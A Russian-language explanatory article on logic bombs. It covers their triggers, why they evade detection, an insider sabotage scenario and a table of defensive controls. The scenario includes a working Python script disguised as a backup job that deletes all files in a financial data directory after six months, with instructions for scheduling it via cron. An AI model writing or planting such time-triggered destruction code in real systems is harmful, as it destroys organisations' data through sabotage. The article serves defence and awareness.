“Под видом мелкого исправления или рутинного обновления может быть загружен код, который ждёт своего часа. Он ничего не трогает, пока не наступит нужная дата или не выполнится нужное условие, а затем срабатывает. Это не вирус, который активно размножается, и не червь, ищущий уязвимости. Это заложенная мина. В IT-инфраструктуре такая угроза часто оказывается делом рук своих же, кто имел доступ.”
Что такое логическая бомба
Логическая бомба — это скрытый вредоносный фрагмент кода, внедрённый в программное обеспечение, скрипт или системный процесс. Он остаётся неактивным до выполнения заранее заданных условий, после чего исполняет свою разрушительную функцию. Это могут быть удаление или шифрование данных, нарушение работы системы, кража информации или создание точки постоянного доступа.
Ключевое отличие от других типов вредоносных программ — отсутствие самостоятельного распространения. Логическая бомба не копирует себя на другие файлы или системы. Она уже находится на своём месте, ожидая триггера. Именно это делает её излюбленным инструментом для внутренних нарушителей: злонамеренного сотрудника, администратора или контрактора, который внедряет её, используя свои законные права доступа.
Как работает и почему её сложно обнаружить
Принцип работы прост: «если условие X выполнено, то выполнить действие Y». Сложность в деталях реализации и маскировки.
Условием срабатывания (триггером) может быть:
- Конкретная дата и время (например, после увольнения сотрудника).
- Наступление определённого события в системе (удаление учётной записи, запуск конкретного процесса).
- Внешний сигнал (получение команды с удалённого сервера, появление файла с заданным именем).
- Логическое условие (например, если объём данных в папке превысил лимит).
Действием обычно является что-то деструктивное или дающее контроль. В простейшем случае — удаление файлов. В более изощрённом — тихая установка удалённого доступа (RAT) или модуля шифровальщика для последующего вымогательства.
Сложность обнаружения до срабатывания обусловлена несколькими факторами:
- Легитимный контекст. Код может быть внедрён в обновление законного ПО, в служебный скрипт или модуль, который редко подвергается аудиту.
- Отсутствие активности. Пока условие не выполнено, бомба «спит» и не проявляет сетевой активности, не создаёт подозрительных процессов, не меняет файлы.
- Обфускация. Код часто намеренно делают трудным для чтения, шифруют или разбивают на части, чтобы обойти сигнатурный анализ антивирусов.
- Использование «живущих из дня в день» (Living-off-the-land) техник. Бомба может использовать только встроенные системные утилиты (например,
PowerShell,WMI,schtasks), чья активность не вызывает подозрений.
Пример реализации и сценарий атаки
Рассмотрим типичный сценарий для корпоративной среды. Злоумышленник с правами администратора решает создать логическую бомбу, которая активируется после его увольнения.
1. Создание и маскировка кода. Он пишет скрипт на Python, который через шесть месяцев после запуска начнёт удалять содержимое каталога с критическими данными. Для маскировки он может встроить этот код в легативный скрипт для резервного копирования.
import os, time, sys
# Замаскированная под служебную константу дата активации (через 6 месяцев)
ACTIVATION_TIMESTAMP = time.time() + 15778463 # ~6 месяцев в секундах
def backup_routine():
# ... легативный код для бэкапа ...
pass
def malicious_payload():
target_dir = "/corp/data/financial"
for root, dirs, files in os.walk(target_dir):
for file in files:
try:
os.remove(os.path.join(root, file))
except:
pass
# Основной цикл
if __name__ == "__main__":
backup_routine() # Выполняем нормальную работу
if time.time() > ACTIVATION_TIMESTAMP: # Проверяем триггер
malicious_payload() # Срабатываем2. Внедрение. Используя свои права, нарушитель размещает этот скрипт на критическом сервере и настраивает его регулярный запуск через cron или планировщик задач.
3. Ожидание и срабатывание. После увольнения администратора скрипт продолжает работать, выполняя полезную функцию бэкапа. Через полгода условие срабатывает, и выполняется вредоносная функция, стирающая финансовые отчёты.
Защита: не только технологии, но и процессы
Защита от логических бомб — это в первую очередь вопрос управления рисками инсайдерских угроз и строгого контроля изменений. Технические средства здесь вторичны.
| Мера защиты | Описание и цель |
|---|---|
| Принцип наименьших привилегий (PoLP) | Жёсткое ограничение прав доступа для всех сотрудников и служб. Административные права — только по необходимости с временным ограничением. |
| Контроль целостности и ревизия кода | Все изменения в критическом ПО, конфигурациях и скриптах должны проходить mandatory code review от независимого разработчика или команды безопасности. Использование систем контроля версий (Git) с запретом прямых коммитов в master-ветку. |
| Сегментация и изоляция | Критические данные и системы должны быть изолированы сегментами сети. Скрипт в одной зоне не должен иметь прямого доступа к ресурсам другой. |
| Мониторинг аномального поведения | Не просто сбор логов, а анализ на предмет отклонений: запуск процессов в необычное время, попытки доступа к файлам не из «своей» директории, срабатывание триггеров планировщика задач, связанных с уволенными сотрудниками. |
| Периодический аудит «живущих» скриптов | Регулярная инвентаризация всех автоматизированных задач (cron jobs, systemd timers, scheduled tasks), проверка их содержимого и легитимности. |
| Система резервного копирования с защитой от удаления | Резервные копии должны храниться на физически или логически изолированных носителях с политикой WORM (Write Once, Read Many) или аналогичной, чтобы даже администратор не мог их удалить. |
Важно понимать, что логическая бомба — это не абстрактная угроза из учебников. Это реальный инструмент саботажа, который становится особенно опасным в условиях недовольства сотрудников, реорганизаций или сокращений. Её эффективность прямо пропорциональна уровню хаоса в процессах управления ИТ и доверия к инсайдерам без должного контроля.